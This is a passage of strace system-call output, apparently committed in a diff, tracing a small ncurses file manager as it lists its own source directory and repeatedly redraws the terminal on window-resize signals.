...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm.c", {st_mode=S_IFREG|0644, st_size=2186, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/README", {st_mode=S_IFREG|0644, st_size=3162, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/README", {st_mode=S_IFREG|0644, st_size=3162, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fs.c", {st_mode=S_IFREG|0644, st_size=11143, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fs.c", {st_mode=S_IFREG|0644, st_size=11143, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fs.o", {st_mode=S_IFREG|0644, st_size=8024, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fs.o", {st_mode=S_IFREG|0644, st_size=8024, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/ino.c", {st_mode=S_IFREG|0644, st_size=635, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/ino.c", {st_mode=S_IFREG|0644, st_size=635, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/.hgtags", {st_mode=S_IFREG|0644, st_size=45, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/.hgtags", {st_mode=S_IFREG|0644, st_size=45, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/gen_protos.sh", {st_mode=S_IFREG|0755, st_size=273, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/gen_protos.sh", {st_mode=S_IFREG|0755, st_size=273, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm.o", {st_mode=S_IFREG|0644, st_size=2648, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm.o", {st_mode=S_IFREG|0644, st_size=2648, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/.hgignore", {st_mode=S_IFREG|0644, st_size=31, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/.hgignore", {st_mode=S_IFREG|0644, st_size=31, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/COPYING", {st_mode=S_IFREG|0644, st_size=35147, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/COPYING", {st_mode=S_IFREG|0644, st_size=35147, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/strace", {st_mode=S_IFREG|0644, st_size=9254, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/strace", {st_mode=S_IFREG|0644, st_size=9357, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm", {st_mode=S_IFREG|0755, st_size=22436, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/fm", {st_mode=S_IFREG|0755, st_size=22436, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/cmd.o", {st_mode=S_IFREG|0644, st_size=6968, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/cmd.o", {st_mode=S_IFREG|0644, st_size=6968, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/AUTHOR", {st_mode=S_IFREG|0644, st_size=51, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/AUTHOR", {st_mode=S_IFREG|0644, st_size=51, ...}) = 0 +stat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/cmd.c", {st_mode=S_IFREG|0644, st_size=7614, ...}) = 0 +lstat64("/home/harvie/Work/bbs/utils/fm/fm-1.0/cmd.c", {st_mode=S_IFREG|0644, st_size=7614, ...}) = 0 +getdents(3, /* 0 entries */, 32768) = 0 +close(3) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33(B\33[0;1;7m/home/harvie/Work/bbs"..., 466) = 466 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9dff000) = 0x9dff000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9e20000) = 0x9e20000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9e41000) = 0x9e41000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9e62000) = 0x9e62000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +read(0, 0xbf82f4eb, 1) = ? ERESTARTSYS (To be restarted) +--- SIGWINCH (Window changed) @ 0 (0) --- +sigreturn() = ? (mask now []) +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +brk(0x9e83000) = 0x9e83000 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +poll([{fd=0, events=POLLIN}], 1, 0) = 0 (Timeout) +write(1, "\33[24d", 5) = 5 +rt_sigaction(SIGTSTP, {0xb77c3680, [], SA_RESTART}, NULL, 8) = 0 +write(1, "\33[24;1H\33[?12l\33[?25h", 19) = 19 +write(1, "\33[?1049l\r\33[?1l\33>", 16) = 16 +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1h\33=", 7) = 7 +rt_sigaction(SIGTSTP, {SIG_IGN, [], SA_RESTART}, {0xb77c3680, [], SA_RESTART}, 8) = 0 +ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbf82f328) = -1 ENOTTY (Inappropriate ioctl for device) +ioctl(2, SNDCTL_TMR_STOP or TCSETSW, {B0 -opost -isig -icanon -echo ...}) = -1 ENOTTY (Inappropriate ioctl for device) +write(1, "\33[?1049h\33[1;24r\33[?25l", 21) = 21 +write(1, "\33(B\33[m\33[4l\33[?7h\33[H\33[2J\33(B\33[0;1;7"..., 485) = 485 +rt_sigaction(SIGTSTP, {0xb77c3680, [], 